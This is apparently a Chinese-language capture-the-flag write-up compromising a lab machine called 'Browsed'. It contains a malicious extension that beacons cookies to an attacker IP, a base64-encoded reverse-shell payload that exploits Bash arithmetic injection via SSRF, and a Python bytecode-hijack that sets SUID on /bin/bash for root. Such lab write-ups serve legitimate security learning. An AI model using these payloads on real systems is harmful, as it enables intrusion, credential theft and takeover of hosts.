本篇文章详细介绍了在Linux系统上进行信息收集和漏洞分析的过程。通过Nmap扫描识别出开放的SSH和HTTP端口,随后分析了浏览器功能及上传插件的能力。利用SSRF攻击,作者展示了如何通过JavaScript执行命令,并利用系统中的Bash脚本实现代码注入。文章还探讨了权限提升的方法,尤其是Python字节码劫持,最终成功获取了root权限。整篇内容强调了安全测试和漏洞利用的实际应用与学习经验。
Information Gathering
# Nmap 7.98 scan initiated Wed Jan 21 17:44:40 2026 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.129.244.79
Nmap scan report for browsed.htb (10.129.244.79)
Host is up (0.082s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_ 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 1.564 days (since Tue Jan 20 04:13:26 2026)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 21 17:44:54 2026 -- 1 IP address (1 host up) scanned in 13.56 seconds
Vulnerability Analysis
浏览器功能:可以上传一个插件,管理员会审核这些插件,并提供一些插件样本
下载其中一个插件得到
➜ Browsed 7z l fontify.zip
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2025-03-19 16:08:31 ..... 274 191 content.js
2025-03-23 11:23:58 ..... 450 239 manifest.json
2025-03-19 16:08:08 ..... 568 254 popup.html
2025-03-19 16:08:41 ..... 756 364 popup.js
2025-03-19 16:08:52 ..... 181 120 style.css
------------------- ----- ------------ ------------ ------------------------
2025-03-23 11:23:58 2229 1168 5 files
因为是服务器端的用户(有特权)检查,假设没有做任何隔离,即可以执行任意JavaScript
上传示例扩展zip后,复制输出可以得到:
http://browsedinternals.htb/ 内部子域名
Cannot stat "/var/www/.config/… 不是沙盒
WebSocket 调试地址: ws://127.0.0.1:40529/devtools/browser/be47938e-b306-45b4-8b1f-3e1c71320752
执行SSRF攻击
在content.js下添加:navigator.sendBeacon('http://10.10.16.41/flag', document.cookie);
最终在输出中可以看到执行成功
➜ Browsed sudo nc -lvnp 80
[sudo] password for kali:
listening on [any] 80 ...
connect to [10.10.16.41] from (UNKNOWN) [10.129.244.79] 52800
POST /flag HTTP/1.1
Host: 10.10.16.41
Connection: keep-alive
Content-Length: 0
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://browsedinternals.htb
Accept-Encoding: gzip, deflate
枚举子域
Gitea Version: 1.24.5
可以很轻松的发现http://browsedinternals.htb/larry/MarkdownPreview的文件
README.md:
# markdownPreview
This webapp allows us to convert our md files to html. Still in developement, it should only run locally !!!
app.py
一个基于 Flask 的 Markdown Preview 应用程序正在本地主机端口 5000 上运行。它公开了一个端点 /routines/,该端点接受一个例程 ID。
routines.sh
#!/bin/bash
ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"
log_action() {
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}
if [[ "$1" -eq 0 ]]; then
# Routine 0: Clean temp files
find "$TMP_DIR" -type f -name "*.tmp" -delete
log_action "Routine 0: Temporary files cleaned."
echo "Temporary files cleaned."
elif [[ "$1" -eq 1 ]]; then
# Routine 1: Backup data
tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
log_action "Routine 1: Data backed up to $BACKUP_DIR."
echo "Backup completed."
elif [[ "$1" -eq 2 ]]; then
# Routine 2: Rotate logs
find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
log_action "Routine 2: Log files compressed."
echo "Logs rotated."
elif [[ "$1" -eq 3 ]]; then
# Routine 3: System info dump
uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
log_action "Routine 3: System info dumped."
echo "System info saved."
else
log_action "Unknown routine ID: $1"
echo "Routine ID not implemented."
fi
在 Bash 中,在算术运算上下文中,可以使用数组下标语法 var[index]。关键在于,索引会被计算出来。如果我们使用命令替换 $(cmd) 作为索引,Bash 会在比较之前执行该命令。
如果我们发送payload:a[$id],会执行
- $id
- a[uid=……]
- 出现错误,但是代码执行
Exploitation (User Flag)
通过ssrf可以利用此漏洞
在content.js添加
const myPayloadB64 = "KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuNDEvNDQ0NCAwPiYxKSAm";
const TARGET = "http://127.0.0.1:5000/routines/";
const sp = "%20"; // URL 编码的空格,因为这是在 URL 里
// 核心利用点:a[$(你的命令)]
// 服务器在解析数组索引时,会执行 $() 里面的命令
const exploit = "a[$(echo" + sp + myPayloadB64 + "|base64" + sp + "-d|bash)]";
// 发送请求
console.log("Sending payload: " + exploit);
fetch(TARGET + exploit, { mode: "no-cors" });
即可获取user
Privilege Escalation (Root Flag)
larry@browsed:~$ sudo -l
Matching Defaults entries for larry on browsed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User larry may run the following commands on browsed:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
查看文件得到从本地文件导入了一个模块
from extension_utils import validate_manifest, clean_temp_files
larry@browsed:~$ ls -la /opt/extensiontool/
drwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__
Python 字节码劫持
Python 运行脚本时,为了提高加载速度,会将编译后的字节码 (.pyc 文件) 存放在 __pycache__ 目录中。
当 extension_tool.py 运行时,它会执行 from extension_utils import ...。
此时 Python 的加载逻辑如下:
- 检查
__pycache__里是否有对应的.pyc文件。 - 如果有,且其 Header 中的元数据(时间戳/Hash)与源代码
extension_utils.py匹配,Python 就会直接加载执行这个.pyc文件,而忽略源代码。 - 由于
extension_tool.py是以 Root (sudo) 身份运行的,它加载的.pyc代码也会以 Root 权限执行。
利用思路:我们可以在这个 777 目录下,用一个恶意的 .pyc 文件(里面包含提权代码)替换掉合法的 extension_utils.cpython-312.pyc。
# 生成payload
echo 'import os; os.system("chmod u+s /bin/bash")' > /tmp/pwn.py
# 编译
python3 -m compileall /tmp/pwn.py
运行源程序
larry@browsed:~$ sudo /opt/extensiontool/extension_tool.py
[X] Use one of the following extensions : ['Fontify', 'Timer', 'ReplaceImages']
larry@browsed:~$ ls /opt/extensiontool/__pycache__/
extension_utils.cpython-312.pyc
得到合法header,并将前面的字节更换到我们生成的.pyc文件
# 提取头部
dd if=/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc of=/tmp/header.bin bs=1 count=16
# 提取身子
dd if=/tmp/__pycache__/pwn.cpython-312.pyc of=/tmp/body.bin bs=1 skip=16
# 拼接
cat /tmp/header.bin /tmp/body.bin > /tmp/evil.pyc
# 粘贴
cp /tmp/evil.pyc /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
# 运行
sudo /opt/extensiontool/extension_tool.py
larry@browsed:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
larry@browsed:/tmp$ /bin/bash -p
bash-5.2# cat /root/root.txt
b526db53340698024bdbf430d9dc46b2